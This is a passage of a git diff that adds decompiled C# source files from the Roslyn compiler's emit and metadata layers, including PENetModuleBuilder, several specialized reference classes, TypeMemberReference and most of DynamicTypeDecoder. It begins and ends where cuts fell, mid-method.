EnsureInlineArrayFirstElementRefExists(SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayFirstElementRef", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, object _) => new SynthesizedInlineArrayFirstElementRefMethod(sourceModule, privateImplClass, "InlineArrayFirstElementRef"), null, diagnostics); + } + + internal MethodSymbol EnsureInlineArrayFirstElementRefReadOnlyExists(SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + return EnsurePrivateImplClassMethodExists(syntaxNode, "InlineArrayFirstElementRefReadOnly", (SourceModuleSymbol sourceModule, PrivateImplementationDetails privateImplClass, object _) => new SynthesizedInlineArrayFirstElementRefReadOnlyMethod(sourceModule, privateImplClass, "InlineArrayFirstElementRefReadOnly"), null, diagnostics); + } + + public override IEnumerable GetAdditionalTopLevelTypeDefinitions(EmitContext context) + { + return (IEnumerable)(object)((PEModuleBuilder)this).GetAdditionalTopLevelTypes(); + } + + public override IEnumerable GetEmbeddedTypeDefinitions(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (IEnumerable)(object)((PEModuleBuilder)this).GetEmbeddedTypes(context.Diagnostics); + } + + public sealed override ImmutableArray GetEmbeddedTypes(DiagnosticBag diagnostics) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + ImmutableArray embeddedTypes = GetEmbeddedTypes(instance); + diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + return embeddedTypes; + } + + internal virtual ImmutableArray GetEmbeddedTypes(BindingDiagnosticBag diagnostics) + { + return base.GetEmbeddedTypes(((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + + internal bool TryGetTranslatedImports(ImportChain chain, out ImmutableArray imports) + { + return _translatedImportsMap.TryGetValue(chain, out imports); + } + + internal ImmutableArray GetOrAddTranslatedImports(ImportChain chain, ImmutableArray imports) + { + return _translatedImportsMap.GetOrAdd(chain, imports); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PENetModuleBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PENetModuleBuilder.cs new file mode 100644 index 0000000..ee95c8f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PENetModuleBuilder.cs @@ -0,0 +1,38 @@ +using System.Collections.Generic; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class PENetModuleBuilder : PEModuleBuilder +{ + public override EmitBaseline? PreviousGeneration => null; + + public override SymbolChanges? EncSymbolChanges => null; + + public override ISourceAssemblySymbolInternal? SourceAssemblyOpt => null; + + internal PENetModuleBuilder(SourceModuleSymbol sourceModule, EmitOptions emitOptions, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources) + : base(sourceModule, emitOptions, (OutputKind)3, serializationProperties, manifestResources) + { + } + + internal override SynthesizedAttributeData SynthesizeEmbeddedAttribute() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/PENetModuleBuilder.cs", 30); + } + + protected override void AddEmbeddedResourcesFromAddedModules(ArrayBuilder builder, DiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/PENetModuleBuilder.cs", 35); + } + + public override IEnumerable GetFiles(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ParameterTypeInformation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ParameterTypeInformation.cs new file mode 100644 index 0000000..95075e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ParameterTypeInformation.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class ParameterTypeInformation : IParameterTypeInformation, IParameterListEntry +{ + private readonly ParameterSymbol _underlyingParameter; + + ImmutableArray IParameterTypeInformation.CustomModifiers => ImmutableArray.CastUp(_underlyingParameter.TypeWithAnnotations.CustomModifiers); + + bool IParameterTypeInformation.IsByReference => (int)_underlyingParameter.RefKind > 0; + + ImmutableArray IParameterTypeInformation.RefCustomModifiers => ImmutableArray.CastUp(_underlyingParameter.RefCustomModifiers); + + ushort IParameterListEntry.Index => (ushort)_underlyingParameter.Ordinal; + + public ParameterTypeInformation(ParameterSymbol underlyingParameter) + { + _underlyingParameter = underlyingParameter; + } + + ITypeReference IParameterTypeInformation.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(_underlyingParameter.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + public override string ToString() + { + return _underlyingParameter.ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ParameterTypeInformation.cs", 72); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ParameterTypeInformation.cs", 78); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedFieldReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedFieldReference.cs new file mode 100644 index 0000000..697c493 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedFieldReference.cs @@ -0,0 +1,55 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class SpecializedFieldReference : TypeMemberReference, ISpecializedFieldReference, IFieldReference, ITypeMemberReference, IReference, INamedEntity +{ + private readonly FieldSymbol _underlyingField; + + protected override Symbol UnderlyingSymbol => _underlyingField; + + IFieldReference ISpecializedFieldReference.UnspecializedVersion => (IFieldReference)(object)_underlyingField.OriginalDefinition.GetCciAdapter(); + + ISpecializedFieldReference IFieldReference.AsSpecializedFieldReference => (ISpecializedFieldReference)(object)this; + + ImmutableArray IFieldReference.RefCustomModifiers => ImmutableArray.CastUp(_underlyingField.RefCustomModifiers); + + bool IFieldReference.IsByReference => (int)_underlyingField.RefKind > 0; + + bool IFieldReference.IsContextualNamedEntity => false; + + public SpecializedFieldReference(FieldSymbol underlyingField) + { + _underlyingField = underlyingField; + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IFieldReference)(object)this); + } + + ITypeReference IFieldReference.GetType(EmitContext context) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + TypeWithAnnotations typeWithAnnotations = _underlyingField.TypeWithAnnotations; + ImmutableArray customModifiers = typeWithAnnotations.CustomModifiers; + ITypeReference val = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(typeWithAnnotations.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + if (customModifiers.Length == 0) + { + return val; + } + return (ITypeReference)new ModifiedTypeReference(val, ImmutableArray.CastUp(customModifiers)); + } + + IFieldDefinition IFieldReference.GetResolvedField(EmitContext context) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericMethodInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericMethodInstanceReference.cs new file mode 100644 index 0000000..7f47682 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericMethodInstanceReference.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class SpecializedGenericMethodInstanceReference : SpecializedMethodReference, IGenericMethodInstanceReference, IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + private readonly SpecializedMethodReference _genericMethod; + + public override IGenericMethodInstanceReference AsGenericMethodInstanceReference => (IGenericMethodInstanceReference)(object)this; + + public SpecializedGenericMethodInstanceReference(MethodSymbol underlyingMethod) + : base(underlyingMethod) + { + _genericMethod = new SpecializedMethodReference(underlyingMethod); + } + + IEnumerable IGenericMethodInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = UnderlyingMethod.TypeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return ((PEModuleBuilder)moduleBeingBuilt).Translate(enumerator.Current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + } + + IMethodReference IGenericMethodInstanceReference.GetGenericMethod(EmitContext context) + { + return (IMethodReference)(object)_genericMethod; + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IGenericMethodInstanceReference)(object)this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericNestedTypeInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericNestedTypeInstanceReference.cs new file mode 100644 index 0000000..d1f60e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedGenericNestedTypeInstanceReference.cs @@ -0,0 +1,50 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class SpecializedGenericNestedTypeInstanceReference : SpecializedNestedTypeReference, IGenericTypeInstanceReference, ITypeReference, IReference +{ + public override IGenericTypeInstanceReference AsGenericTypeInstanceReference => (IGenericTypeInstanceReference)(object)this; + + public override INamespaceTypeReference AsNamespaceTypeReference => null; + + public override INestedTypeReference AsNestedTypeReference => (INestedTypeReference)(object)this; + + public override ISpecializedNestedTypeReference AsSpecializedNestedTypeReference => null; + + public SpecializedGenericNestedTypeInstanceReference(NamedTypeSymbol underlyingNamedType) + : base(underlyingNamedType) + { + } + + public sealed override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IGenericTypeInstanceReference)(object)this); + } + + ImmutableArray IGenericTypeInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = UnderlyingNamedType.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + instance.Add(((PEModuleBuilder)pEModuleBuilder).Translate(enumerator.Current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + return instance.ToImmutableAndFree(); + } + + INamedTypeReference IGenericTypeInstanceReference.GetGenericType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(object)context.Module).Translate(UnderlyingNamedType.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, needDeclaration: true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedMethodReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedMethodReference.cs new file mode 100644 index 0000000..eb7dde3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedMethodReference.cs @@ -0,0 +1,21 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal class SpecializedMethodReference : MethodReference, ISpecializedMethodReference, IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + IMethodReference ISpecializedMethodReference.UnspecializedVersion => (IMethodReference)(object)UnderlyingMethod.OriginalDefinition.GetCciAdapter(); + + public override ISpecializedMethodReference AsSpecializedMethodReference => (ISpecializedMethodReference)(object)this; + + public SpecializedMethodReference(MethodSymbol underlyingMethod) + : base(underlyingMethod) + { + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IMethodReference)(object)this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedNestedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedNestedTypeReference.cs new file mode 100644 index 0000000..a1101cd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/SpecializedNestedTypeReference.cs @@ -0,0 +1,40 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal class SpecializedNestedTypeReference : NamedTypeReference, ISpecializedNestedTypeReference, INestedTypeReference, INamedTypeReference, ITypeReference, IReference, INamedEntity, ITypeMemberReference +{ + public override IGenericTypeInstanceReference AsGenericTypeInstanceReference => null; + + public override INamespaceTypeReference AsNamespaceTypeReference => null; + + public override INestedTypeReference AsNestedTypeReference => (INestedTypeReference)(object)this; + + public override ISpecializedNestedTypeReference AsSpecializedNestedTypeReference => (ISpecializedNestedTypeReference)(object)this; + + public SpecializedNestedTypeReference(NamedTypeSymbol underlyingNamedType) + : base(underlyingNamedType) + { + } + + INestedTypeReference ISpecializedNestedTypeReference.GetUnspecializedVersion(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((ITypeReference)((PEModuleBuilder)(object)context.Module).Translate(UnderlyingNamedType.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, needDeclaration: true)).AsNestedTypeReference; + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((INestedTypeReference)(object)this); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(UnderlyingNamedType.ContainingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/TypeMemberReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/TypeMemberReference.cs new file mode 100644 index 0000000..774eda8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/TypeMemberReference.cs @@ -0,0 +1,53 @@ +using System.Collections.Generic; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class TypeMemberReference : ITypeMemberReference, IReference, INamedEntity +{ + protected abstract Symbol UnderlyingSymbol { get; } + + string INamedEntity.Name => UnderlyingSymbol.MetadataName; + + public virtual ITypeReference GetContainingType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(UnderlyingSymbol.ContainingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + public override string ToString() + { + return UnderlyingSymbol.ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public abstract void Dispatch(MetadataVisitor visitor); + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return (ISymbolInternal)(object)UnderlyingSymbol; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/TypeMemberReference.cs", 56); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/TypeMemberReference.cs", 62); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/DynamicTypeDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/DynamicTypeDecoder.cs new file mode 100644 index 0000000..9bcfc41 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/DynamicTypeDecoder.cs @@ -0,0 +1,366 @@ +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal struct DynamicTypeDecoder +{ + private readonly ImmutableArray _dynamicTransformFlags; + + private readonly AssemblySymbol _containingAssembly; + + private readonly bool _haveCustomModifierFlags; + + private readonly bool _checkLength; + + private int _index; + + private bool HasFlag + { + get + { + if (_index >= _dynamicTransformFlags.Length) + { + return !_checkLength; + } + return true; + } + } + + private DynamicTypeDecoder(ImmutableArray dynamicTransformFlags, bool haveCustomModifierFlags, bool checkLength, AssemblySymbol containingAssembly) + { + _dynamicTransformFlags = dynamicTransformFlags; + _containingAssembly = containingAssembly; + _haveCustomModifierFlags = haveCustomModifierFlags; + _checkLength = checkLength; + _index = 0; + } + + internal static TypeSymbol TransformType(TypeSymbol metadataType, int targetSymbolCustomModifierCount, EntityHandle targetSymbolToken, PEModuleSymbol containingModule, RefKind targetSymbolRefKind = (RefKind)0) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray dynamicTransformFlags = default(ImmutableArray); + if (containingModule.Module.HasDynamicAttribute(targetSymbolToken, ref dynamicTransformFlags)) + { + return TransformTypeInternal(metadataType, containingModule.ContainingAssembly, targetSymbolCustomModifierCount, targetSymbolRefKind, dynamicTransformFlags, haveCustomModifierFlags: true, checkLength: true); + } + return metadataType; + } + + internal static TypeSymbol TransformTypeWithoutCustomModifierFlags(TypeSymbol type, AssemblySymbol containingAssembly, RefKind targetSymbolRefKind, ImmutableArray dynamicTransformFlags, bool checkLength = true) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return TransformTypeInternal(type, containingAssembly, 0, targetSymbolRefKind, dynamicTransformFlags, haveCustomModifierFlags: false, checkLength); + } + + private static TypeSymbol TransformTypeInternal(TypeSymbol metadataType, AssemblySymbol containingAssembly, int targetSymbolCustomModifierCount, RefKind targetSymbolRefKind, ImmutableArray dynamicTransformFlags, bool haveCustomModifierFlags, bool checkLength) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (dynamicTransformFlags.Length == 0) + { + return new UnsupportedMetadataTypeSymbol(); + } + DynamicTypeDecoder dynamicTypeDecoder = new DynamicTypeDecoder(dynamicTransformFlags, haveCustomModifierFlags, checkLength, containingAssembly); + if (dynamicTypeDecoder.HandleCustomModifiers(targetSymbolCustomModifierCount) && dynamicTypeDecoder.HandleRefKind(targetSymbolRefKind)) + { + TypeSymbol typeSymbol = dynamicTypeDecoder.TransformType(metadataType); + if ((object)typeSymbol != null && (!checkLength || dynamicTypeDecoder._index == dynamicTransformFlags.Length)) + { + return typeSymbol; + } + } + return metadataType; + } + + private TypeSymbol TransformType(TypeSymbol type) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Invalid comparison between Unknown and I4 + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + if (!HasFlag || (PeekFlag() && (int)type.SpecialType != 1 && !type.IsDynamic())) + { + return null; + } + SymbolKind kind = type.Kind; + if ((int)kind <= 11) + { + switch (kind - 1) + { + default: + if ((int)kind != 11) + { + break; + } + goto case 3; + case 3: + if ((int)type.SpecialType == 1) + { + if (!ConsumeFlag()) + { + return type; + } + return DynamicTypeSymbol.Instance; + } + return TransformNamedType((NamedTypeSymbol)type); + case 0: + return TransformArrayType((ArrayTypeSymbol)type); + case 2: + if (!ConsumeFlag()) + { + return _containingAssembly.GetSpecialType((SpecialType)1); + } + return type; + case 1: + break; + } + } + else + { + if ((int)kind == 14) + { + return TransformPointerType((PointerTypeSymbol)type); + } + if ((int)kind == 20) + { + return TransformFunctionPointerType((FunctionPointerTypeSymbol)type); + } + } + ConsumeFlag(); + if (!HandleCustomModifiers(type.CustomModifierCount())) + { + return null; + } + return type; + } + + private bool HandleCustomModifiers(int customModifiersCount) + { + if (!_haveCustomModifierFlags) + { + return true; + } + for (int i = 0; i < customModifiersCount; i++) + { + if (!HasFlag || ConsumeFlag()) + { + return false; + } + } + return true; + } + + private bool HandleRefKind(RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind != 0) + { + return !ConsumeFlag(); + } + return true; + } + + private NamedTypeSymbol TransformNamedType(NamedTypeSymbol namedType, bool isContaining = false) + { + if (!isContaining) + { + ConsumeFlag(); + } + NamedTypeSymbol containingType = namedType.ContainingType; + NamedTypeSymbol namedTypeSymbol; + if ((object)containingType != null && containingType.IsGenericType) + { + namedTypeSymbol = TransformNamedType(namedType.ContainingType, isContaining: true); + if ((object)namedTypeSymbol == null) + { + return null; + } + } + else + { + namedTypeSymbol = containingType; + } + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedType.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray immutableArray = TransformTypeArguments(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + if (immutableArray.IsDefault) + { + return null; + } + bool flag = !TypeSymbol.Equals(namedTypeSymbol, containingType, (TypeCompareKind)0); + if (flag || immutableArray != typeArgumentsWithAnnotationsNoUseSiteDiagnostics) + { + if (flag) + { + namedType = namedType.OriginalDefinition.AsMember(namedTypeSymbol); + return namedType.ConstructIfGeneric(immutableArray); + } + return namedType.ConstructedFrom.Construct(immutableArray, unbound: false).WithTupleDataFrom(namedType); + } + return namedType; + } + + private ImmutableArray TransformTypeArguments(ImmutableArray typeArguments) + { + if (!typeArguments.Any()) + { + return typeArguments; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = false; + ImmutableArray.Enumerator enumerator = typeArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + TypeSymbol typeSymbol = TransformType(current.Type); + if ((object)typeSymbol == null) + { + instance.Free(); + return default(ImmutableArray); + } + instance.Add(current.WithTypeAndModifiers(typeSymbol, current.CustomModifiers)); + flag |= !TypeSymbol.Equals(typeSymbol, current.Type, (TypeCompareKind)0); + } + if (!flag) + { + instance.Free(); + return typeArguments; + } + return instance.ToImmutableAndFree(); + } + + private ArrayTypeSymbol TransformArrayType(ArrayTypeSymbol arrayType) + { + ConsumeFlag(); + if (!HandleCustomModifiers(arrayType.ElementTypeWithAnnotations.CustomModifiers.Length)) + { + return null; + } + TypeSymbol typeSymbol = TransformType(arrayType.ElementType); + if ((object)typeSymbol == null) + { + return null; + } + if (!TypeSymbol.Equals(typeSymbol, arrayType.ElementType, (TypeCompareKind)0)) + { + if (!arrayType.IsSZArray) + { + return ArrayTypeSymbol.CreateMDArray(_containingAssembly, arrayType.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, arrayType.ElementTypeWithAnnotations.CustomModifiers), arrayType.Rank, arrayType.Sizes, arrayType.LowerBounds); + } + return ArrayTypeSymbol.CreateSZArray(_containingAssembly, arrayType.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, arrayType.ElementTypeWithAnnotations.CustomModifiers)); + } + return arrayType; + } + + private PointerTypeSymbol TransformPointerType(PointerTypeSymbol pointerType) + { + ConsumeFlag(); + if (!HandleCustomModifiers(pointerType.PointedAtTypeWithAnnotations.CustomModifiers.Length)) + { + return null; + } + TypeSymbol typeSymbol = TransformType(pointerType.PointedAtType); + if ((object)typeSymbol == null) + { + return null; + } + if (!TypeSymbol.Equals(typeSymbol, pointerType.PointedAtType, (TypeCompareKind)0)) + { + return new PointerTypeSymbol(pointerType.PointedAtTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, pointerType.PointedAtTypeWithAnnotations.CustomModifiers)); + } + return pointerType; + } + + private FunctionPointerTypeSymbol? TransformFunctionPointerType(FunctionPointerTypeSymbol type) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + ConsumeFlag(); + FunctionPointerMethodSymbol signature = type.Signature; + var (substitutedReturnType, flag) = handle(ref this, signature.RefKind, signature.RefCustomModifiers, signature.ReturnTypeWithAnnotations); + if (substitutedReturnType.IsDefault) + { + return null; + } + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + if (signature.ParameterCount > 0) + { + bool flag2 = false; + ArrayBuilder instance = ArrayBuilder.GetInstance(signature.ParameterCount); + try + { + ImmutableArray.Enumerator enumerator = signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + var (typeWithAnnotations, flag3) = handle(ref this, current.RefKind, current.RefCustomModifiers, current.TypeWithAnnotations); + if (typeWithAnnotations.IsDefault) + { + return null; + } + instance.Add(typeWithAnnotations); + flag2 = flag2 || flag3; + } + substitutedParameterTypes = (flag2 ? instance.ToImmutable() : signature.ParameterTypesWithAnnotations); + flag = flag || flag2; + } + finally + { + instance.Free(); + } + } + if (flag) + { + return type.SubstituteTypeSymbol(substitutedReturnType, substitutedParameterTypes, default(ImmutableArray), default(ImmutableArray>)); + } + return type; + static (TypeWithAnnotations, bool madeChanges) handle(ref DynamicTypeDecoder decoder, RefKind refKind, ImmutableArray refCustomModifiers, TypeWithAnnotations item) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (!decoder.HandleCustomModifiers(refCustomModifiers.Length) || !decoder.HandleRefKind(refKind) || !decoder.HandleCustomModifiers(item.CustomModifiers.Length)) + { + return (default(TypeWithAnnotations), madeChanges: false); + } + TypeSymbol typeSymbol = decoder.TransformType(item.Type); + if ((object)typeSymbol == null) + { + return 